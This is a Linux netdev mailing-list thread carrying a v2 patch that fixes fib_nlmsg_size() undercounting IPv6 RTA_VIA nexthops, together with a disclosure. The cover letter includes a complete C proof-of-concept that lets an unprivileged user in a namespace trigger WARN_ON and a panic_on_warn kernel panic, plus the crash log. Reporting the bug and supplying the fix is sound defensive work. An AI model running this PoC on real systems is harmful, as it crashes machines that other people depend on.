* [PATCH net v2 0/1] ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops
@ 2026-07-30 12:59 Zihan Xi
2026-07-30 12:59 ` [PATCH net v2 1/1] " Zihan Xi
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-07-30 12:59 UTC (permalink / raw)
To: netdev; +Cc: dsahern, idosch, davem, edumazet, pabeni, horms, vega, zihanx
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv4/fib_semantics.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
fib_nlmsg_size() allocates the skb used by IPv4 route notifications before
fib_dump_info() serializes the route. The old size calculation did not match
the actual nexthop attributes emitted for IPv4 routes with IPv6 gateways.
When an IPv4 route uses an IPv6 gateway, fib_nexthop_info() emits the gateway
as RTA_VIA, but fib_nlmsg_size() only charged a 4-byte RTA_GATEWAY-style
attribute. For multipath routes it also charged each struct rtnexthop as if it
were wrapped by its own nlattr, even though fib_add_nexthop() emits it with
nla_reserve_nohdr(), and it charged RTA_FLOW even when it was absent. With
enough IPv6-via nexthops, fib_dump_info() returns -EMSGSIZE and rtmsg_fib()
hits WARN_ON(err == -EMSGSIZE). In a panic_on_warn kernel this panics the
machine.
The fix mirrors the actual dump layout in fib_nlmsg_size(): IPv6 nexthop
gateways are charged as RTA_VIA, multipath rtnexthop headers are charged with
the same alignment used by nla_reserve_nohdr(), and RTA_FLOW is only charged
when it is actually present.
The root cause was introduced by commit d15662682db2 ("ipv4: Allow ipv6
gateway with ipv4 routes"), which first made IPv4 route notifications dump
IPv6 gateways via RTA_VIA and therefore made the current undercount possible.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
The validated run used the preserved wrapper script below with:
MODE=ns COUNT=48 ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define DEST_PREFIX "198.51.100.0"
#define PREFSRC_ADDR "192.0.2.254"
#define VIA_PREFIX "2001:db8::"
#define ROUTE_METRIC 123U
#define BUF_SIZE 65536
struct req {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[BUF_SIZE];
};
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void *buf_nlmsg_tail(void *buf, const struct nlmsghdr *nlh)
{
return (void *)((char *)buf + NLMSG_ALIGN(nlh->nlmsg_len));
}
static int nlmsg_addattr(void *buf, struct nlmsghdr *nlh, size_t maxlen,
uint16_t type,
const void *data, size_t len)
{
size_t attr_len = RTA_LENGTH(len);
size_t total = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
struct rtattr *rta;
if (total > maxlen)
return -1;
rta = buf_nlmsg_tail(buf, nlh);
rta->rta_type = type;
rta->rta_len = attr_len;
if (len && data)
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = total;
return 0;
}
static struct rtattr *nlmsg_nest_start(void *buf, struct nlmsghdr *nlh,
size_t maxlen, uint16_t type)
{
struct rtattr *nest = buf_nlmsg_tail(buf, nlh);
if (nlmsg_addattr(buf, nlh, maxlen, type, NULL, 0) < 0)
return NULL;
return nest;
}
static void nlmsg_nest_end(void *buf, struct nlmsghdr *nlh, struct rtattr *nest)
{
nest->rta_len = (char *)buf_nlmsg_tail(buf, nlh) - (char *)nest;
}
static int rtnh_addattr(void *buf, struct nlmsghdr *nlh, size_t maxlen,
struct rtnexthop *rtnh, uint16_t type,
const void *data, size_t len)
{
size_t attr_len = RTA_LENGTH(len);
size_t total = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
struct rtattr *rta;
if (total > maxlen)
return -1;
rta = buf_nlmsg_tail(buf, nlh);
rta->rta_type = type;
rta->rta_len = attr_len;
if (len && data)
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = total;
rtnh->rtnh_len += RTA_ALIGN(attr_len);
return 0;
}
static int add_metric(void *buf, struct rtattr **metrics, struct nlmsghdr *nlh,
size_t maxlen, uint16_t type, const void *data, size_t len)
{
if (!*metrics) {
*metrics = nlmsg_nest_start(buf, nlh, maxlen, RTA_METRICS);
if (!*metrics)
return -1;
}
return nlmsg_addattr(buf, nlh, maxlen, type, data, len);
}
static int add_metrics(void *buf, struct nlmsghdr *nlh, size_t maxlen)
{
struct rtattr *metrics = NULL;
uint32_t one = 1;
uint32_t mtu = 1400;
uint32_t advmss = 1200;
uint32_t cwnd = 10;
uint32_t features = 1;
const char cc_algo[] = "reno";
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_LOCK, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_MTU, &mtu, sizeof(mtu)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_WINDOW, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_RTT, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_RTTVAR, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_SSTHRESH, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_CWND, &cwnd, sizeof(cwnd)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_ADVMSS, &advmss, sizeof(advmss)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_REORDERING, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_HOPLIMIT, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_INITCWND, &cwnd, sizeof(cwnd)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_FEATURES, &features, sizeof(features)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_RTO_MIN, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_INITRWND, &cwnd, sizeof(cwnd)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_QUICKACK, &one, sizeof(one)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_CC_ALGO, cc_algo, sizeof(cc_algo)) < 0)
return -1;
if (add_metric(buf, &metrics, nlh, maxlen, RTAX_FASTOPEN_NO_COOKIE, &one,
sizeof(one)) < 0)
return -1;
if (metrics)
nlmsg_nest_end(buf, nlh, metrics);
return 0;
}
static int build_route(struct req *req, size_t maxlen, unsigned int nh_count,
int ifindex, bool with_flow)
{
struct in_addr dst;
struct in_addr prefsrc;
uint32_t table = RT_TABLE_MAIN;
uint32_t priority = ROUTE_METRIC;
struct rtattr *multipath;
unsigned int i;
memset(req, 0, sizeof(*req));
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->rtm));
req->nlh.nlmsg_type = RTM_NEWROUTE;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
req->nlh.nlmsg_seq = 1;
req->rtm.rtm_family = AF_INET;
req->rtm.rtm_dst_len = 24;
req->rtm.rtm_table = RT_TABLE_MAIN;
req->rtm.rtm_protocol = RTPROT_BOOT;
req->rtm.rtm_scope = RT_SCOPE_UNIVERSE;
req->rtm.rtm_type = RTN_UNICAST;
if (inet_pton(AF_INET, DEST_PREFIX, &dst) != 1) {
errno = EINVAL;
return -1;
}
if (inet_pton(AF_INET, PREFSRC_ADDR, &prefsrc) != 1) {
errno = EINVAL;
return -1;
}
if (nlmsg_addattr(req, &req->nlh, maxlen, RTA_TABLE, &table, sizeof(table)) < 0)
return -1;
if (nlmsg_addattr(req, &req->nlh, maxlen, RTA_DST, &dst, sizeof(dst)) < 0)
return -1;
if (nlmsg_addattr(req, &req->nlh, maxlen, RTA_PRIORITY, &priority,
sizeof(priority)) < 0)
return -1;
if (nlmsg_addattr(req, &req->nlh, maxlen, RTA_PREFSRC, &prefsrc,
sizeof(prefsrc)) < 0)
return -1;
if (add_metrics(req, &req->nlh, maxlen) < 0)
return -1;
multipath = nlmsg_nest_start(req, &req->nlh, maxlen, RTA_MULTIPATH);
if (!multipath)
return -1;
for (i = 1; i <= nh_count; i++) {
struct rtnexthop *rtnh;
struct in6_addr gw6;
char addrbuf[sizeof("2001:db8::") + 10];
unsigned char via[2 + sizeof(gw6)];
if ((size_t)((char *)buf_nlmsg_tail(req, &req->nlh) - (char *)req) +
NLMSG_ALIGN(sizeof(*rtnh)) > maxlen) {
errno = ENOSPC;
return -1;
}
rtnh = buf_nlmsg_tail(req, &req->nlh);
memset(rtnh, 0, sizeof(*rtnh));
rtnh->rtnh_len = sizeof(*rtnh);
rtnh->rtnh_flags = RTNH_F_ONLINK;
rtnh->rtnh_hops = 0;
rtnh->rtnh_ifindex = ifindex;
req->nlh.nlmsg_len = NLMSG_ALIGN(req->nlh.nlmsg_len) +
NLMSG_ALIGN(sizeof(*rtnh));
snprintf(addrbuf, sizeof(addrbuf), VIA_PREFIX "%x", i);
if (inet_pton(AF_INET6, addrbuf, &gw6) != 1) {
errno = EINVAL;
return -1;
}
memset(via, 0, sizeof(via));
via[0] = AF_INET6 & 0xff;
via[1] = (AF_INET6 >> 8) & 0xff;
memcpy(via + 2, &gw6, sizeof(gw6));
if (rtnh_addattr(req, &req->nlh, maxlen, rtnh, RTA_VIA, via,
sizeof(via)) < 0)
return -1;
if (with_flow) {
uint32_t flow = i;
if (rtnh_addattr(req, &req->nlh, maxlen, rtnh, RTA_FLOW, &flow,
sizeof(flow)) < 0)
return -1;
}
}
nlmsg_nest_end(req, &req->nlh, multipath);
return 0;
}
static int send_netlink_req(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl nladdr = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = nlh,
.iov_len = nlh->nlmsg_len,
};
struct msghdr msg = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
char ackbuf[8192];
struct iovec ack_iov = {
.iov_base = ackbuf,
.iov_len = sizeof(ackbuf),
};
struct msghdr ack_msg = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &ack_iov,
.msg_iovlen = 1,
};
struct nlmsghdr *h;
ssize_t len;
if (sendmsg(fd, &msg, 0) < 0)
return -1;
len = recvmsg(fd, &ack_msg, 0);
if (len < 0)
return -1;
for (h = (struct nlmsghdr *)ackbuf; NLMSG_OK(h, (unsigned int)len);
h = NLMSG_NEXT(h, len)) {
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(h);
if (err->error) {
errno = -err->error;
return -1;
}
return 0;
}
}
errno = EPROTO;
return -1;
}
static int delete_route(int fd)
{
struct {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[128];
} req = {
.nlh = {
.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)),
.nlmsg_type = RTM_DELROUTE,
.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
.nlmsg_seq = 2,
},
.rtm = {
.rtm_family = AF_INET,
.rtm_dst_len = 24,
.rtm_table = RT_TABLE_MAIN,
.rtm_protocol = RTPROT_BOOT,
.rtm_scope = RT_SCOPE_UNIVERSE,
.rtm_type = RTN_UNICAST,
},
};
struct in_addr dst;
uint32_t table = RT_TABLE_MAIN;
if (inet_pton(AF_INET, DEST_PREFIX, &dst) != 1)
return -1;
if (nlmsg_addattr(&req, &req.nlh, sizeof(req), RTA_TABLE, &table, sizeof(table)) < 0)
return -1;
if (nlmsg_addattr(&req, &req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst)) < 0)
return -1;
if (send_netlink_req(fd, &req.nlh) < 0) {
if (errno == ESRCH)
return 0;
return -1;
}
return 0;
}
int main(int argc, char **argv)
{
struct req *req;
unsigned int nh_count = 128;
const char *ifname = "dummy0";
bool with_flow = true;
int ifindex;
int fd;
if (argc > 1)
nh_count = strtoul(argv[1], NULL, 0);
if (argc > 2)
ifname = argv[2];
if (argc > 3)
with_flow = strcmp(argv[3], "noflow") != 0;
ifindex = if_nametoindex(ifname);
if (!ifindex) {
fprintf(stderr, "interface %s not found\n", ifname);
return EXIT_FAILURE;
}
req = calloc(1, sizeof(*req));
if (!req)
die("calloc");
if (build_route(req, sizeof(*req), nh_count, ifindex, with_flow) < 0)
die("build_route");
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket");
if (delete_route(fd) < 0)
die("delete_route");
if (send_netlink_req(fd, &req->nlh) < 0)
die("send_netlink_req");
printf("added route with %u nexthops on %s (%s flow attr)\n",
nh_count, ifname, with_flow ? "with" : "without");
close(fd);
free(req);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 15.788149] ------------[ cut here ]------------
[ 15.798564] WARNING: net/ipv4/fib_semantics.c:566 at rtmsg_fib+0x193/0x1a0, CPU#1: poc/259
[ 15.819396] Modules linked in:
[ 15.826740] CPU: 1 UID: 1001 PID: 259 Comm: poc Not tainted 7.2.0-rc4-00389-g53658c6f3682 #4 PREEMPT(lazy)
[ 15.847330] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 15.875102] RIP: 0010:rtmsg_fib (net/ipv4/fib_semantics.c:566 (discriminator 1))
[ 15.886524] Code: 74 01 75 2b 48 8b 7d 08 48 83 c4 30 89 da be 07 00 00 00 5b 5d 41 5c 41 5d 41 5e 41 5f e9 25 23 ee ff bb 97 ff ff ff eb cc 90 <0f> 0b 90 eb b7 e8 33 64 26 00 0f 1f 00 90 90 90 90 90 90 90 90 90
All code
========
0: 74 01 je 0x3
2: 75 2b jne 0x2f
4: 48 8b 7d 08 mov 0x8(%rbp),%rdi
8: 48 83 c4 30 add $0x30,%rsp
c: 89 da mov %ebx,%edx
e: be 07 00 00 00 mov $0x7,%esi
13: 5b pop %rbx
14: 5d pop %rbp
15: 41 5c pop %r12
17: 41 5d pop %r13
19: 41 5e pop %r14
1b: 41 5f pop %r15
1d: e9 25 23 ee ff jmp 0xffffffffffee2347
22: bb 97 ff ff ff mov $0xffffff97,%ebx
27: eb cc jmp 0xfffffffffffffff5
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 90 nop
2d: eb b7 jmp 0xffffffffffffffe6
2f: e8 33 64 26 00 call 0x266467
34: 0f 1f 00 nopl (%rax)
37: 90 nop
38: 90 nop
39: 90 nop
3a: 90 nop
3b: 90 nop
3c: 90 nop
3d: 90 nop
3e: 90 nop
3f: 90 nop
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 90 nop
3: eb b7 jmp 0xffffffffffffffbc
5: e8 33 64 26 00 call 0x26643d
a: 0f 1f 00 nopl (%rax)
d: 90 nop
e: 90 nop
f: 90 nop
10: 90 nop
11: 90 nop
12: 90 nop
13: 90 nop
14: 90 nop
15: 90 nop
[ 15.929053] RSP: 0018:ffff97d00034b8a0 EFLAGS: 00010246
[ 15.940737] RAX: 00000000ffffffa6 RBX: 00000000ffffffa6 RCX: ffff97d00034b7fb
[ 15.956222] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff9523038c53c0
[ 15.973048] RBP: ffff97d00034ba48 R08: 0000000000000001 R09: ffff95230cf03eb0
[ 15.989402] R10: ffffffffaa44dde0 R11: fefefefefefefeff R12: 0000000000000018
[ 16.004914] R13: 00000000006433c6 R14: 00000000000000fe R15: 0000000000000001
[ 16.019329] FS: 00007fb9dd727540(0000) GS:ffff9523d2f6c000(0000) knlGS:0000000000000000
[ 16.037578] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 16.050053] CR2: 00007ffd32666f40 CR3: 000000000b7d7001 CR4: 0000000000370ef0
[ 16.064929] Call Trace:
[ 16.070054] <TASK>
[ 16.074596] fib_table_insert (net/ipv4/fib_trie.c:1380 (discriminator 1))
[ 16.083900] ? msi_set_affinity (arch/x86/kernel/apic/msi.c:37 (discriminator 1))
[ 16.092900] ? arch_stack_walk (arch/x86/kernel/stacktrace.c:26)
[ 16.101235] ? inet_rtm_newroute (net/ipv4/fib_frontend.c:931)
[ 16.110591] inet_rtm_newroute (net/ipv4/fib_frontend.c:931)
[ 16.118640] ? __pfx_inet_rtm_newroute (net/ipv4/fib_frontend.c:909)
[ 16.128504] rtnetlink_rcv_msg (net/core/rtnetlink.c:7076)
[ 16.136524] ? __alloc_skb (net/core/skbuff.c:715)
[ 16.144368] ? ___slab_alloc (mm/slub.c:1080 mm/slub.c:4524)
[ 16.156445] ? avc_has_perm (include/linux/rcupdate.h:873 security/selinux/avc.c:1165 security/selinux/avc.c:1195)
[ 16.165362] ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:4441)
[ 16.178514] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 16.186128] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 16.194378] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 16.202745] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 16.210082] ___sys_sendmsg (net/socket.c:2738)
[ 16.219513] __sys_sendmsg (net/socket.c:2770)
[ 16.227224] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 16.235472] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 16.249707] RIP: 0033:0x7fb9dd64efa3
[ 16.257622] Code: 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 64 8b 04 25 18 00 00 00 85 c0 75 14 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 55 c3 0f 1f 40 00 48 83 ec 28 89 54 24 1c 48
All code
========
0: 64 89 02 mov %eax,%fs:(%rdx)
3: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
a: eb b7 jmp 0xffffffffffffffc3
c: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
13: 00 00 00
16: 90 nop
17: 64 8b 04 25 18 00 00 mov %fs:0x18,%eax
1e: 00
1f: 85 c0 test %eax,%eax
21: 75 14 jne 0x37
23: b8 2e 00 00 00 mov $0x2e,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 55 ja 0x87
32: c3 ret
33: 0f 1f 40 00 nopl 0x0(%rax)
37: 48 83 ec 28 sub $0x28,%rsp
3b: 89 54 24 1c mov %edx,0x1c(%rsp)
3f: 48 rex.W
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 55 ja 0x5d
8: c3 ret
9: 0f 1f 40 00 nopl 0x0(%rax)
d: 48 83 ec 28 sub $0x28,%rsp
11: 89 54 24 1c mov %edx,0x1c(%rsp)
15: 48 rex.W
[ 16.297484] RSP: 002b:00007ffd326672f8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[ 16.311567] RAX: ffffffffffffffda RBX: 00007ffd326673b0 RCX: 00007fb9dd64efa3
[ 16.325962] RDX: 0000000000000000 RSI: 00007ffd32667330 RDI: 0000000000000003
[ 16.337955] RBP: 0000000000000003 R08: 0000000000000008 R09: 0000000000000004
[ 16.351264] R10: fffffffffffff61f R11: 0000000000000246 R12: 00005563c1d7c2a0
[ 16.363193] R13: 00005563c1d7c2a0 R14: 00007ffd32669430 R15: 0000000000000003
[ 16.374980] </TASK>
[ 16.378237] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 16.389681] CPU: 1 UID: 1001 PID: 259 Comm: poc Not tainted 7.2.0-rc4-00389-g53658c6f3682 #4 PREEMPT(lazy)
[ 16.406656] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 16.425849] Call Trace:
[ 16.429194] <TASK>
[ 16.432527] vpanic (kernel/panic.c:651)
[ 16.438646] ? rtmsg_fib (net/ipv4/fib_semantics.c:566 (discriminator 1))
[ 16.444052] panic (kernel/panic.c:788)
[ 16.448363] check_panic_on_warn (kernel/panic.c:525 kernel/panic.c:520)
[ 16.455827] __warn (kernel/panic.c:1104)
[ 16.460334] __report_bug (lib/bug.c:254)
[ 16.466333] ? rtmsg_fib (net/ipv4/fib_semantics.c:566 (discriminator 1))
[ 16.472272] ? ___slab_alloc (mm/slub.c:1080 mm/slub.c:4524)
[ 16.480720] ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 16.490721] ? rtmsg_fib (net/ipv4/fib_semantics.c:566 (discriminator 1))
[ 16.500083] report_bug (lib/bug.c:286)
[ 16.512584] handle_bug (arch/x86/kernel/traps.c:436)
[ 16.519464] exc_invalid_op (arch/x86/kernel/traps.c:490 (discriminator 1))
[ 16.526285] asm_exc_invalid_op (arch/x86/include/asm/idtentry.h:593)
[ 16.534036] RIP: 0010:rtmsg_fib (net/ipv4/fib_semantics.c:566 (discriminator 1))
[ 16.542081] Code: 74 01 75 2b 48 8b 7d 08 48 83 c4 30 89 da be 07 00 00 00 5b 5d 41 5c 41 5d 41 5e 41 5f e9 25 23 ee ff bb 97 ff ff ff eb cc 90 <0f> 0b 90 eb b7 e8 33 64 26 00 0f 1f 00 90 90 90 90 90 90 90 90 90
All code
========
0: 74 01 je 0x3
2: 75 2b jne 0x2f
4: 48 8b 7d 08 mov 0x8(%rbp),%rdi
8: 48 83 c4 30 add $0x30,%rsp
c: 89 da mov %ebx,%edx
e: be 07 00 00 00 mov $0x7,%esi
13: 5b pop %rbx
14: 5d pop %rbp
15: 41 5c pop %r12
17: 41 5d pop %r13
19: 41 5e pop %r14
1b: 41 5f pop %r15
1d: e9 25 23 ee ff jmp 0xffffffffffee2347
22: bb 97 ff ff ff mov $0xffffff97,%ebx
27: eb cc jmp 0xfffffffffffffff5
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 90 nop
2d: eb b7 jmp 0xffffffffffffffe6
2f: e8 33 64 26 00 call 0x266467
34: 0f 1f 00 nopl (%rax)
37: 90 nop
38: 90 nop
39: 90 nop
3a: 90 nop
3b: 90 nop
3c: 90 nop
3d: 90 nop
3e: 90 nop
3f: 90 nop
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 90 nop
3: eb b7 jmp 0xffffffffffffffbc
5: e8 33 64 26 00 call 0x26643d
a: 0f 1f 00 nopl (%rax)
d: 90 nop
e: 90 nop
f: 90 nop
10: 90 nop
11: 90 nop
12: 90 nop
13: 90 nop
14: 90 nop
15: 90 nop
[ 16.578115] RSP: 0018:ffff97d00034b8a0 EFLAGS: 00010246
[ 16.587613] RAX: 00000000ffffffa6 RBX: 00000000ffffffa6 RCX: ffff97d00034b7fb
[ 16.607035] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff9523038c53c0
[ 16.623502] RBP: ffff97d00034ba48 R08: 0000000000000001 R09: ffff95230cf03eb0
[ 16.637471] R10: ffffffffaa44dde0 R11: fefefefefefefeff R12: 0000000000000018
[ 16.651794] R13: 00000000006433c6 R14: 00000000000000fe R15: 0000000000000001
[ 16.668462] fib_table_insert (net/ipv4/fib_trie.c:1380 (discriminator 1))
[ 16.676737] ? msi_set_affinity (arch/x86/kernel/apic/msi.c:37 (discriminator 1))
[ 16.685448] ? arch_stack_walk (arch/x86/kernel/stacktrace.c:26)
[ 16.694306] ? inet_rtm_newroute (net/ipv4/fib_frontend.c:931)
[ 16.703497] inet_rtm_newroute (net/ipv4/fib_frontend.c:931)
[ 16.711734] ? __pfx_inet_rtm_newroute (net/ipv4/fib_frontend.c:909)
[ 16.722588] rtnetlink_rcv_msg (net/core/rtnetlink.c:7076)
[ 16.732146] ? __alloc_skb (net/core/skbuff.c:715)
[ 16.742064] ? ___slab_alloc (mm/slub.c:1080 mm/slub.c:4524)
[ 16.750338] ? avc_has_perm (include/linux/rcupdate.h:873 security/selinux/avc.c:1165 security/selinux/avc.c:1195)
[ 16.758062] ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:4441)
[ 16.767369] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 16.775953] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 16.784842] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 16.793403] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 16.802407] ___sys_sendmsg (net/socket.c:2738)
[ 16.811522] __sys_sendmsg (net/socket.c:2770)
[ 16.819685] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 16.827525] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 16.838428] RIP: 0033:0x7fb9dd64efa3
[ 16.845687] Code: 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 64 8b 04 25 18 00 00 00 85 c0 75 14 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 55 c3 0f 1f 40 00 48 83 ec 28 89 54 24 1c 48
All code
========
0: 64 89 02 mov %eax,%fs:(%rdx)
3: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
a: eb b7 jmp 0xffffffffffffffc3
c: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
13: 00 00 00
16: 90 nop
17: 64 8b 04 25 18 00 00 mov %fs:0x18,%eax
1e: 00
1f: 85 c0 test %eax,%eax
21: 75 14 jne 0x37
23: b8 2e 00 00 00 mov $0x2e,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 55 ja 0x87
32: c3 ret
33: 0f 1f 40 00 nopl 0x0(%rax)
37: 48 83 ec 28 sub $0x28,%rsp
3b: 89 54 24 1c mov %edx,0x1c(%rsp)
3f: 48 rex.W
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 55 ja 0x5d
8: c3 ret
9: 0f 1f 40 00 nopl 0x0(%rax)
d: 48 83 ec 28 sub $0x28,%rsp
11: 89 54 24 1c mov %edx,0x1c(%rsp)
15: 48 rex.W
[ 16.885977] RSP: 002b:00007ffd326672f8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[ 16.901413] RAX: ffffffffffffffda RBX: 00007ffd326673b0 RCX: 00007fb9dd64efa3
[ 16.923341] RDX: 0000000000000000 RSI: 00007ffd32667330 RDI: 0000000000000003
[ 16.941505] RBP: 0000000000000003 R08: 0000000000000008 R09: 0000000000000004
[ 16.957758] R10: fffffffffffff61f R11: 0000000000000246 R12: 00005563c1d7c2a0
[ 16.972912] R13: 00005563c1d7c2a0 R14: 00007ffd32669430 R15: 0000000000000003
[ 16.988807] </TASK>
[ 16.994133] Kernel Offset: 0x27600000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
-----END crash log-----
Best regards,
Zihan Xi
changes in v2:
- drop the unused rt_family argument from fib_nexthop_nlmsg_size()
- remove the unreachable AF_INET6 else branch
- swap the RTA_ENCAP and RTA_ENCAP_TYPE comments
- use NLA_ALIGN(sizeof(struct rtnexthop)) to match nla_reserve_nohdr()
- v1 Link: https://lore.kernel.org/all/cover.1785058094.git.zihanx@nebusec.ai/
Zihan Xi (1):
ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops
net/ipv4/fib_semantics.c | 67 +++++++++++++++++++++++++++++-----------
1 file changed, 49 insertions(+), 18 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net v2 1/1] ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops
2026-07-30 12:59 [PATCH net v2 0/1] ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops Zihan Xi
@ 2026-07-30 12:59 ` Zihan Xi
2026-07-30 13:53 ` Ido Schimmel
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-07-30 12:59 UTC (permalink / raw)
To: netdev; +Cc: dsahern, idosch, davem, edumazet, pabeni, horms, vega, zihanx
fib_nlmsg_size() still estimates nexthop space as if every gateway is
encoded as an IPv4 RTA_GATEWAY attribute. IPv4 routes can also carry an
IPv6 gateway, which fib_nexthop_info() dumps as RTA_VIA.
As a result, route notifications can allocate an skb that is too small.
fib_dump_info() then fails with -EMSGSIZE and rtmsg_fib() hits the
WARN_ON() that marks such failures as a fib_nlmsg_size() bug. With
panic_on_warn set, this becomes a kernel panic.
Mirror the actual nexthop dump layout in fib_nlmsg_size(): account for
IPv6 nexthop gateways dumped as RTA_VIA, for the no-header rtnexthop
layout used inside RTA_MULTIPATH, and for RTA_FLOW only when it is
actually present.
Fixes: d15662682db2 ("ipv4: Allow ipv6 gateway with ipv4 routes")
Cc: stable@vger.kernel.org
